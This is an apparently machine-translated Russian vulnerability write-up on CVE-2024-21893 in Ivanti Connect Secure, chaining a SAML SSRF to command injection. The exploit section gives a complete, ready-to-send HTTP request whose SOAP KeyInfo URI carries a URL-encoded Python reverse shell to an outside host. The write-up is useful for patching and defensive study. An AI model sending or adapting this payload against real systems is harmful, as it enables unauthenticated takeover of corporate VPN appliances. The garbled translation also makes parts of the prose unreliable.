CVE-2024-21893:Ivanti Connect Secure SSRF to RCE
CVE-2024-21893:Ivanti Connect Secure SSRF to RCE

0x01 Введение

Ivanti Connect Secure предоставляет бесшовное и экономичное решение SSL VPN для удаленных и мобильных пользователей, позволяющее им получать доступ к корпоративным ресурсам в любое время и в любом месте с любого устройства, подключенного к Интернету.

0x02 Обзор уязвимостей

Номер уязвимости: CVE-2024-21893. CVE-2024-21893 это существование Ivanti Connect Secure SAML в компоненте SSRF Уязвимость, данная уязвимость в основном вызвана использованием уязвимых сторонних библиотек и отсутствием своевременных обновлений сторонних библиотек. Ее можно обойти. CVE-2024-21887 Патч для уязвимости внедрения команд, достигающей неавторизованного статуса. RCE цель.

0x03 Затронутая версия

Ivanti Connect Secure (9.x, 22.x) Политика Ivanti Secure (9.x, 22.x) Ivanti Neurons для компонента ZTA SAML (это может быть только SSRF)

0x04 Настройка среды

В этом воспроизведении используется версия Ivanti Connect Secure 22.6R2.1 (сборка 2487) и импортируется мера по снижению риска mitigation.release.20240107.1.xml.

Загрузите версию Ivanti Connect Secure для виртуальной машины и импортируйте ее в виртуальную машину.

Здесь нужно дождаться распаковки и установки системы. После завершения установки выполните инициализацию по следующей конфигурации:

Затем создайте нового администратора

Создание администратора завершено

Введите интерфейс оболочки, поставляемый с системой.

доступ https://ip/admin Введите фоновый импорт mitigation.release.20240107.1.xml Меры по смягчению последствий

mitigation.release.20240107.1.xml Меры по смягчению последствия в основном касаются CVE-2023-46805 и CVE-2024-21887 из смягчения, которое отключает доступ к существующему интерфейсу лазейкииз.

0x05 Анализ уязвимостей

Чтобы получить оболочку, вы можете воспользоваться методом, упомянутым в этом блоге https://labs.watchtowr.com/welcome-to-2024-the-sslvpn-chaos-continues-ivanti-cve-2023-46805-cve-2024. -21887/

получать shell затем введите /home/bin Каталог, выполнить python -m SimpleHTTPServer 8899 запускать http услуги, загрузки web и saml-server двоичный файл, После загрузки он будет web вставить IDA Анализируем и находим маршрут /dana-ws/saml20.ws,Нет аутентификации,Есть также некоторые измаршрутизации без аутентификации, такие как:

посмотрим дальше /dana-ws/saml20.ws Обработка запросов маршрутизации

будет соответствовать здесь /dana-ws/saml20.ws,/dana-ws/saml.ws, /dana-ws/samlecp.ws После получения запроса, doDispatchRequest вперед к saml-server средняя обработка

существовать saml-server Чжунъю createXMLObjectFromSoapMessage функция будет soap Заменить данные на xml данные и, наконец, xmltooling библиотека для обработки, в то время как xmltools существовать 3.2.4 Следующая из версии это существованиеодин SSRF уязвимость, которую можно создать путем создания KeyInfo реализовать SSRF. существующее Это повторение используется в среде xmltooling Версия 3.2.0

Итак, полная цепочка эксплойтов выглядит следующим образом:

  1. Создать группу KeyInfo из SOAP Конверт отправлен в /dana-ws/saml20.ws
  2. существовать内部由 web Сервер запросит пересылку к saml-server начальство,saml-server позвоню xmltooling Парсинг библиотеки xml данные
  3. потому что xmltooling житьсуществовать SSRF лазейки, фейковый запрос доступа http://127.0.0.1:8090/api/v1/license/keys-status/,Обойдено Меры по смягчению последствий mitigation.release.20240107.1.xml
  4. /api/v1/license/keys-status/ Сохраните внедрение команд, вы можете выполнить любую систему команд.

0x06 эксплуатировать

проверка POC

Язык кода:javascript
копировать
POST /dana-ws/saml20.ws HTTP/1.1
Host: 192.168.0.190
Sec-Ch-Ua-Platform-Version: "13.6.4"
Sec-Ch-Ua-Mobile: ?0
Content-Type: text/xml
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
Sec-Ch-Ua-Platform: "macOS"
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close
Content-Length: 1157

<?xml version="1.0" encoding="UTF-8"?>
<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
 <soap:Body>
  <ds:Signature
  xmlns:ds="http://www.w3.org/2000/09/xmldsig#">
   <ds:SignedInfo>
    <ds:CanonicalizationMethod Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#"/>
    <ds:SignatureMethod Algorithm="http://www.w3.org/2000/09/xmldsig#rsa-sha1"/>
   </ds:SignedInfo>
   <ds:SignatureValue>qwerty</ds:SignatureValue>
   <ds:KeyInfo xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.w3.org/2000/09/xmldsig" xmlns:ds="http://www.w3.org/2000/09/xmldsig#">
    <ds:RetrievalMethod URI="http://127.0.0.1:8090/api/v1/license/keys-status/%3Bpython%20%2Dc%20%27import%20socket%2Csubprocess%3Bs%3Dsocket%2Esocket%28socket%2EAF%5FINET%2Csocket%2ESOCK%5FSTREAM%29%3Bs%2Econnect%28%28%22192%2E168%2E0%2E133%22%2C8899%29%29%3Bsubprocess%2Ecall%28%5B%22%2Fbin%2Fsh%22%2C%22%2Di%22%5D%2Cstdin%3Ds%2Efileno%28%29%2Cstdout%3Ds%2Efileno%28%29%2Cstderr%3Ds%2Efileno%28%29%29%27%3B"/>
    <ds:X509Data/>
   </ds:KeyInfo>
   <ds:Object></ds:Object>
  </ds:Signature>
 </soap:Body>
</soap:Envelope>

Результаты использования следующие:

0x07 Рекомендации по восстановлению

Ivanti Выпущен патч, пожалуйста, обновите версию вовремя или Меры по смягчению последствий

Справочная ссылка

https://attackerkb.com/topics/FGlK1TVnB2/cve-2024-21893/rapid7-analysis https://attackerkb.com/topics/AdUh6by52K/cve-2023-46805/rapid7-analysis https://xz.aliyun.com/t/13322

boy illustration
Учебное пособие по Jetpack Compose для начинающих, базовые элементы управления и макет
boy illustration
Код js веб-страницы, фон частицы, код спецэффектов
boy illustration
【новый! Суперподробное】Полное руководство по свойствам компонентов Figma.
boy illustration
🎉Обязательно к прочтению новичкам: полное руководство по написанию мини-программ WeChat с использованием программного обеспечения Cursor.
boy illustration
[Забавный проект Docker] VoceChat — еще одно приложение для мгновенного чата (IM)! Может быть встроен в любую веб-страницу!
boy illustration
Как реализовать переход по странице в HTML (html переходит на указанную страницу)
boy illustration
Как решить проблему зависания и низкой скорости при установке зависимостей с помощью npm. Существуют ли доступные источники npm, которые могут решить эту проблему?
boy illustration
Серия From Zero to Fun: Uni-App WeChat Payment Practice WeChat авторизует вход в систему и украшает страницу заказа, создает интерфейс заказа и инициирует запрос заказа
boy illustration
Серия uni-app: uni.navigateЧтобы передать скачок значения
boy illustration
Апплет WeChat настраивает верхнюю панель навигации и адаптируется к различным моделям.
boy illustration
JS-время конвертации
boy illustration
Обеспечьте бесперебойную работу ChromeDriver 125: советы по решению проблемы chromedriver.exe не найдены
boy illustration
Поле комментария, щелчок мышью, специальные эффекты, js-код
boy illustration
Объект массива перемещения объекта JS
boy illustration
Как открыть разрешение на позиционирование апплета WeChat_Как использовать WeChat для определения местонахождения друзей
boy illustration
Я даю вам два набора из 18 простых в использовании фонов холста Power BI, так что вам больше не придется возиться с цветами!
boy illustration
Получить текущее время в js_Как динамически отображать дату и время в js
boy illustration
Вам необходимо изучить сочетания клавиш vsCode для форматирования и организации кода, чтобы вам больше не приходилось настраивать формат вручную.
boy illustration
У ChatGPT большое обновление. Всего за 45 минут пресс-конференция показывает, что OpenAI сделал еще один шаг вперед.
boy illustration
Copilot облачной разработки — упрощение разработки
boy illustration
Микросборка xChatGPT с низким кодом, создание апплета чат-бота с искусственным интеллектом за пять шагов
boy illustration
CUDA Out of Memory: идеальное решение проблемы нехватки памяти CUDA
boy illustration
Анализ кластеризации отдельных ячеек, который должен освоить каждый&MarkerгенетическийВизуализация
boy illustration
vLLM: мощный инструмент для ускорения вывода ИИ
boy illustration
CodeGeeX: мощный инструмент генерации кода искусственного интеллекта, который можно использовать бесплатно в дополнение к второму пилоту.
boy illustration
Машинное обучение Реальный бой LightGBM + настройка параметров случайного поиска: точность 96,67%
boy illustration
Бесшовная интеграция, мгновенный интеллект [1]: платформа больших моделей Dify-LLM, интеграция без кодирования и встраивание в сторонние системы, более 42 тысяч звезд, чтобы стать свидетелями эксклюзивных интеллектуальных решений.
boy illustration
LM Studio для создания локальных больших моделей
boy illustration
Как определить количество слоев и нейронов скрытых слоев нейронной сети?
boy illustration
[Отслеживание целей] Подробное объяснение ByteTrack и детали кода